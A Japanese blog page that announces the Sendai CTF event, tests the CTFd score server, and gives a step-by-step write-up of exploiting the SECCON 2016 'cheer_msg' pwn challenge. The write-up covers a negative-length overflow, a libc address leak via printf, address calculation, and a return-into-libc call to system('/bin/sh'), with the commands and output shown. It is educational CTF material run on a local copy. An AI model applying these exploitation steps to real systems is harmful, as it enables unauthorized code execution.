2017年06月12日

「仙台CTF」の募集を開始しました

 MISA 一般社団法人宮城県情報サービス産業協会様が主催する「仙台CTF」が開催されます!
仙台CTFは、サイバー攻撃による被害を低減するために必要となる、情報セキュリティ技術を学ぶ「セキュリティ技術勉強会」と、技術力を競う「セキュリティ技術競技会(CTF)」を行うセキュリティイベントです。

 私は実行委員として、勉強会講師およびCTF問題作成を担当させていただきます。
初心者の方も気軽にご参加ください。

  • 開催日時:11月12日(日)10:00〜17:00(9:30受付開始)
  • 会場:仙台市市民活動サポートセンター 地下1階 市民活動シアター
  • 参加費:1,000円 (当日受付時に支払い)

開催案内の詳細はこちら

タグ:CTF
posted by やまと at 00:18| Comment(0) | 実験日誌

2017年02月19日

CTFスコアサーバ「isislab/CTFd」の検証

 仙台でCTFを企画したいと思いつつなかなか準備ができていなかったのですが、今年こそ実現したいと思っています。問題のネタはいくつか考えてあるのですが、CTFを開催するためのスコアサーバは未検討だったため、いろいろと情報収集してみたところ「isislab/CTFd」が良さそうだったので検証してみました。

 デモサイトも公開されており、事前に動作を確認することができますので、ご興味がある方はどうぞ。なお、本記事は、VMware Workstation9 上のDebian8 Jessie(メモリは1GBを割り当て)にて動作検証しました。

[isislab/CTFdの特徴]

 シンプルですが、CTF運営に必要な最低限の機能は有していると思います。
  • 参加者はチーム名とパスワードを登録してログインします。ただし、チームに対してユーザーを登録することができません。そのため、チーム戦形式にする場合はパスワードをメンバーと共用する必要があります。どちらかというと個人戦向きだと思います。
  • トップ10のグラフ表示機能付きのスコアボードがあります。
  • 問題には複数のファイルを添付することができます。また、問題にジャンルを設定し分類することもできます。
  • 事前に登録しておいた問題の一部を「非表示」にしておき、状況を見ながら適宜表示していくことができます。(問題が解かれたら、自動的に次の問題をオープンする機能はありません。)
  • 問題一覧が表示されるメインページの他に、自由にページを追加することができます。この機能は、例えば「運営者からのお知らせ」画面などに活用できます。

インストール手順

パッケージのダウンロード

公式サイト(https://github.com/isislab/CTFd)から「Clone or download」-「Download ZIP」を選択し、パッケージをダウンロードします。(ファイル名 CTFd-master.zip)

Official site

インストール

(1) ZIPの展開

#unzip CTFd-master.zip
    

(2) 環境設定スクリプトの実行

 環境設定スクリプト(prepare.sh)を実行すると、CTFdの実行に必要なパッケージがaptコマンドにより導入されます。
#cd CTFd
#./prepare.sh
(途中でエラーが発生して停止する)
    

(3) 手動によるPythonパッケージの追加

 次のPythonパッケージは環境設定スクリプトでインストールできなかったため、手動でインストールします。
#easy_install bcrypt
#easy_install werkzeug
#easy_install flask
    

(4) CTFdの起動

 次のコマンドにより、CTFdが起動します。標準設定ではポート4000番でHTTP接続を待ち受けします。
#python serve.py
    

 以上でインストールは終了です。

設定変更

(1) ポート番号の変更

 ポート番号を変更したい場合は、serve.pyを編集してください。
serve.pyの内容
from CTFd import create_app

app = create_app()
app.run(debug=True, threaded=True, host="0.0.0.0", port=80)
    

(2) トップページのロゴ画像の変更

 ロゴ画像を変更したい場合は、次の画像を差し替えてください。
CTFd/static/original/img/logo.png

(3) DBファイルの初期化

 ある程度いじった後に初期状態に戻したくなった場合は、CTFd/ctfd.dbを削除すると、ユーザー情報や問題情報などが初期化され、初回アクセス画面が表示されます。

画面イメージ

 初回アクセス時の画面です。管理者アカウントを登録します。

Official site


 管理者アカウントを登録した直後の画面です。右上の「Admin」をクリックすると管理者画面に遷移し、問題登録などの管理者機能が利用できます。

Official site


 試しに問題をいくつか入力してみました。これは一般ユーザーがログインした直後の画面です。問題一覧が表示されています。日本語も正しく表示されています。

Official site


 問題をクリックすると、サブウィンドウで問題内容が表示されます。青いボックスが添付ファイルです。問題が解けたら、最下部の「Key」欄に入力し「SUBMIT」をクリックすればフラグが送信されます。

Official site


 解いた問題は緑色で表示されます。

Official site



以上です。
posted by やまと at 23:34| Comment(303) | 実験日誌

2017年01月01日

スクリプト言語を使わずにTeraTermとBzでpwn問題を解いてみる

(2017/01/24 更新)参考のため、本記事による攻撃手順をpythonで自動化したコードも公開します。

 SECCON2016オンライン予選のpwn100 cheer_msgを予選の制限時間内に解けなかったので、復習のために解いてみました。 writeupをググると、皆さんPythonなどスクリプト言語を使って解いているようなので、あえてスクリプト言語を使わずに解く方法を記載してみます。 私のように「IDAで逆アセンブルするのは好きでpwn問題の攻略の原理も分かるけど、スクリプト言語が苦手で手間取っている人」には参考になるかもしれません。

 なお、SECCONの問題サーバがいつまで稼働しているか分からないので、ローカル環境のsocatで起動した問題ファイルに対して攻撃することとします。

[解き方の概要]

  • IDAやGDBなどを使って問題ファイル「cheer_msg」を解析し、「Message Length」に-144を入力するとEIPを任意に書き換えできることが判明する。そのため、Return-into-libcでシェルを起動を試みる方針とする(本記事では割愛)
  • Linuxでcheer_msgを解析し、攻略に必要なアドレスを特定する
  • printfでlibcのアドレスをリークさせるための攻撃データその1をバイナリエディタ(Bz)でファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信する
  • TeraTermのログをBzで閲覧し、リークさせたアドレスを確認する
  • system関数でシェルを起動するための攻撃データその2をBzでファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信し、シェルを奪取する

準備

必要なツール

 攻略のために、次のものを使います。

  • 好きなLinuxディストリビューション(必要なコマンド:socat、ldd、objdump、nm、strings)
  • TeraTermポータブル版 ver.4.93
  • Bz Editor ver.1.8.4

問題プログラムをローカル環境で起動

 問題として提供されたプログラム「cheer_msg」を次のコマンドで実行します。


$socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"./cheer_msg"
            

 これで、ポート番号12345で問題プログラムが起動しました。

 また、次のコマンドでローカル環境のlibc.so.6のパスを確認します。


$ldd ./cheer_msg
linux-gate.so.1 =>  (0xb777d000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7629000)
/lib/ld-linux.so.2 (0xb777e000)
            

 上記の実行結果から今回のローカル環境では「/lib/i686/cmov/libc.so.6」を利用していることが特定できたため、これをコピーし、問題ファイルとセットで取り扱います。

TeraTermの設定変更

 TeraTermの標準設定ではうまく攻略できないため、次のように設定変更します。

(1) メニュー「設定」-「端末の設定」
改行コード 「受信:AUTO」、「送信:LF」 に変更
(この設定をしておかないと、シェルを奪取した後、コマンドが正しく認識してもらえません。なお、古いバージョンのTeraTermでは送信にLFを設定できないためご注意ください。)
TeraTerm - Setup - Terminal

(2) メニュー「設定」-「その他の設定」
「ログ」タブで「自動的にログ採取を開始する」にチェック、 オプション 「バイナリ」にチェック
(printfでリークさせたアドレスなど、送受信したデータをバイナリで確認するため)
TeraTerm - Setup - Additional

攻略に必要なアドレスの特定

 printf関数のpltの特定(今回の場合は0x08048430)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386

Disassembly of section .plt:
(中略)
08048430 :
 8048430:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048436:       68 08 00 00 00          push   $0x8
 804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x28>
 (以下略)
            

 main関数のアドレスの特定(今回の場合は0x080485ca)


$objdump -d cheer_msg | grep 'main'
08048490 <__libc_start_main@plt>:
 80484cc:       e8 bf ff ff ff          call   8048490 <__libc_start_main@plt>
080485ca <main>:
            

printfの引数として利用する書式文字列(%s)のアドレスの特定(今回の場合は0x804888c)

%sの文字列はIDAのStringsで確認する。

[確認結果]
  .rodata:0804887D 0000001D C \nThank you %s!\nMessage : %s\n

文字列の先頭 + 15文字(0xf)で「Message : %s\n」のアドレスとなる。
したがって、0x804887d + 0xf = 0x804888c
            

libc_start_mainのGOTのアドレスの特定(今回の場合は0x804a028)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386


Disassembly of section .plt:
(中略)

08048490 <__libc_start_main@plt>:
 8048490:       ff 25 28 a0 04 08       jmp    *0x804a028
 8048496:       68 38 00 00 00          push   $0x38
 804849b:       e9 70 ff ff ff          jmp    8048410 <_init+0x28>
(以下略)
            

libc.so.6におけるlibc_start_mainのアドレスの特定(今回の場合は0x00016bc0)


$nm -D /lib/i686/cmov/libc.so.6 | grep libc_start
00016bc0 T __libc_start_main
            

libc.so.6におけるsystemのアドレスの特定(今回の場合は0x000391b0)

$nm -D /lib/i686/cmov/libc.so.6 | grep system
000391b0 T __libc_system
000f3270 T svcerr_systemerr
000391b0 W system
            

lib.so.6における「/bin/sh」のアドレスの特定(今回の場合は0x1216df)


$strings -a -tx /lib/i686/cmov/libc.so.6 | grep "sh$"
   e5ad _IO_wdefault_finish
   eef6 bdflush
  10053 _IO_default_finish
  10ca0 _IO_file_finish
  10f01 tcflush
  11349 _IO_fflush
  11b1f inet6_opt_finish
 11ef25 Trailing backslash
 11f478 sys/net/ash
 1216df /bin/sh
 12354d /bin/csh
 143299 .gnu.hash
            

攻略

TeraTermによる接続

 最初に、TeraTermでローカルで起動しているcheer_msgに接続します。
(今回は、IPアドレス192.168.15.131のポート12345番で稼働させています)

TeraTerm New Connection

 「Message Length」に対しては「-144」と入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
            

 「Name」の入力待ちになりました。

アドレスのリーク

 printf関数を利用して、libc_start_mainのアドレスをリークさせます。

 「Message Length」に-144を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、アドレスをリークした後、再びmain関数に制御が戻ってきます。

    --------------------------------------------------
    printfのpltのアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    main関数のアドレス(リターンアドレス)
    --------------------------------------------------
    書式文字列「Message : %s\n」のアドレス
    --------------------------------------------------
    libc_start_mainのgotアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   plt_printf = 0x08048430
   addr_main = 0x080485ca
   addr_fstr = 0x0804888c
   got_libc_start = 0x0804a028

 これらのアドレスを記載したファイルをBzで作成します。なお、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit1

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。なお、ファイル送信の際は、オプションで「バイナリ」にチェックを付けておく必要がありますのでご注意ください。

TeraTerm File Upload1

 文字化けした応答が返ってきますが、再び「Message Length」の入力を求められたことから、無事にmain関数に制御が戻ってきたようです。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (![ファイル送信後にEnterキーを入力]
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>
            

 TeraTermのログファイルを確認したいのですが、TeraTerm起動中はファイルがロックされているため、ログファイルをコピーしたうえで、Bzで開きます。
 Bzでログを見ると、2個目の「Message: 」の後に、libc_start_mainのアドレスがリークしています。今回は「0xb7608bc0」でした。(リトルエンディアン形式のため、バイト順が逆になっています)
Bz Address

アドレスの計算

 電卓(calc.exe)などを利用して、攻略に必要なアドレスを計算します。

  • libc.so.6のベースアドレス = (実行時のlibc_start_main関数のアドレス) - (libc.so.6におけるlibc_start_main関数のアドレス)
    = 0xb7608bc0 - 0x00016bc0 = 0xB75C8000
  • 実行時のsystem関数のアドレス = (libc.so.6のベースアドレス) + (libc.so.6におけるsystem関数のアドレス)
    = 0xB75C8000 + 0x000391b0 = 0xB76011B0
  • 実行時のlibc.so.6における文字列「/bin/sh」のアドレス = (libc.so.6のベースアドレス) + (libc.so.6における文字列「/bin/sh」のアドレス) = 0xB75C8000 + 0x1216df = 0xb76e96df
 これで攻略に必要な全てのアドレスが揃いました。

Return-into-libcによるシェルの起動

 それでは攻略を再開します。「Message Length」に再び「-144」を入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>-144
            

 再び「Message Length」に「-144」を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、シェルを起動できます。

    --------------------------------------------------
    system関数のアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    AAAA(リターンアドレスは不要なため適当な値を設定)
    --------------------------------------------------
    libc.so.6における文字列「/bin/sh」のアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   addr_system = 0xb76011b0
   AAAA =0x41414141
   addr_sh = 0xb76e96df

 これらのアドレスを記載したファイルをBzで作成します。繰り返しになりますが、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit2

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。

 再び文字化けした応答が返ってきますが、この時点でシェルが起動されています。試しに「id」コマンドを入力してみましょう。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> 萎形AAA?n[ファイル送信後にEnterキーを入力]

茎hank you 萎形AAA?n掘
Message :
id
uid=1000(attacker) gid=1000(attacker) 所属グループ=1000(attacker),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
            

 無事にコマンドの実行結果が表示されました。

最後に

 TeraTermとBzを使うと、スクリプトが苦手な人でもpwn問題に挑戦するハードルが少し下がるかもしれません。ちなみに、ksnctfの「Villager B」もTeraTermとBzと電卓だけで解くことができますので、よろしければ挑戦してみてください。(電卓を使ったアドレス計算のスキルがとても上昇します(苦笑))

posted by やまと at 22:50| Comment(0) | CTF